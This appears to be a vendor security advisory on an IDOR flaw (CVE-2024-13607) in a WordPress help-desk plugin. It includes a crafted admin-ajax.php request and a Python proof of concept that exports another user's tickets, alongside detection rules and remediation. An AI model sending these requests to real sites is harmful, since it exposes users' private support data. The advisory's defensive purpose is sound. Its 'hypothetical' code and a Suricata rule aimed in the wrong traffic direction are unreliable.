CVE-2024-13607

Executive Summary

CVE-2024-13607 is an Insecure Direct Object Reference (IDOR) vulnerability found in the JS Help Desk – The Ultimate Help Desk & Support Plugin for WordPress, affecting all versions up to and including 2.8.8. This vulnerability allows authenticated attackers with Subscriber-level permissions or higher to export ticket data for any user by manipulating a user-controlled key in the exportusereraserequest function. The lack of proper validation on this key enables unauthorized access to sensitive support ticket information, potentially exposing private user data, internal communications, and system details. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and through third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums with the official repository. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of ticket data)
• Integrity Impact: None
• Availability Impact: None

The medium severity rating reflects the low barrier to exploitation (authenticated subscriber) and the potential for unauthorized data exposure, though the impact is limited to confidentiality.

Deep Dive & Mechanics

The vulnerability resides in the exportusereraserequest function within the JS Help Desk plugin. This function is intended to allow users to export their own ticket data for GDPR compliance or personal data management. However, the function uses a user-controlled key (likely a user ID or ticket ID) without proper authorization checks.

Root Cause: The plugin fails to validate that the authenticated user owns the requested data. An attacker can manipulate the key parameter (e.g., user_id or ticket_id) to request data belonging to other users.

Attack Flow:

1. An attacker authenticates with Subscriber-level privileges.
2. The attacker sends a crafted request to the exportusereraserequest endpoint, modifying the key parameter to target another user.
3. The plugin processes the request without verifying ownership, exporting the targeted user's ticket data.
4. The attacker receives the exported data, which may include sensitive information such as support conversations, personal details, and internal notes.

Affected Component: exportusereraserequest function in the JS Help Desk plugin.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.8.8):

function exportusereraserequest() {
    $user_id = $_REQUEST['user_id'];
    // No ownership check
    $tickets = $this->get_tickets_by_user($user_id);
    // Export logic...
}

Patched Code (Hypothetical):

function exportusereraserequest() {
    $current_user_id = get_current_user_id();
    $requested_user_id = intval($_REQUEST['user_id']);
    // Verify ownership
    if ($current_user_id !== $requested_user_id && !current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $tickets = $this->get_tickets_by_user($requested_user_id);
    // Export logic...
}

The patched version adds an ownership check, ensuring that only the data owner or an administrator can export the data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with JS Help Desk plugin <= 2.8.8
• Valid subscriber-level account

Exploitation Steps:

1. Log in as a subscriber.
2. Identify the target user ID (e.g., via enumeration or social engineering).
3. Send a crafted request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [valid session cookie]
   
   action=exportusereraserequest&user_id=2
   

4. The server responds with the exported ticket data for user ID 2.

Proof of Concept (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()
session.cookies.update({"wordpress_logged_in": "valid_cookie"})

payload = {
    "action": "exportusereraserequest",
    "user_id": 2  # Target user ID
}

response = session.post(target_url, data=payload)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual admin-ajax.php requests with the exportusereraserequest action.
• Alert on requests where user_id parameter differs from the authenticated user's ID.
• Log all export requests for audit purposes.

Prevention:

• Apply the hypothetical patch or update to a fixed version when available.
• Implement Web Application Firewall (WAF) rules to block requests with mismatched user IDs.
• Enforce strict role-based access controls for data export functions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=exportusereraserequest
  • Repeated requests with varying user_id parameters from the same session
• File IOCs:
  • Unusual export files (e.g., CSV, JSON) in the WordPress uploads directory
• Log IOCs:
  • WordPress debug logs showing exportusereraserequest calls with unexpected user IDs
  • Web server access logs with patterns like POST /wp-admin/admin-ajax.php HTTP/1.1 with action=exportusereraserequest

Detection Engineering

YARA Rule

rule CVE_2024_13607_JS_Help_Desk_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-13607 in JS Help Desk plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13607"
    strings:
        $s1 = "exportusereraserequest" nocase
        $s2 = "user_id" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-13607 JS Help Desk IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-13607 via admin-ajax.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=exportusereraserequest'
    condition: selection
falsepositives:
    - Legitimate admin export requests
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13607 JS Help Desk IDOR Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=exportusereraserequest"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Check for an updated version of JS Help Desk that patches this vulnerability. If unavailable, consider disabling the plugin until a patch is released.
2. Restrict Access: Limit subscriber-level permissions to only necessary functions. Use a role management plugin to remove the ability to export data.
3. Monitor Logs: Enable detailed logging for admin-ajax.php requests and review for suspicious activity.

Long-term Measures:

1. Code Review: Conduct a security audit of the plugin to identify similar IDOR vulnerabilities.
2. Implement Authorization Checks: Ensure all data export functions verify user ownership before processing requests.
3. Web Application Firewall: Deploy WAF rules to block requests with mismatched user IDs.
4. User Education: Inform users about the risks of sharing session cookies or credentials.

Patch Status: As of this report, no official patch has been released. Users should monitor the plugin's official page for updates.

Valters IT
Securing Digital Frontiers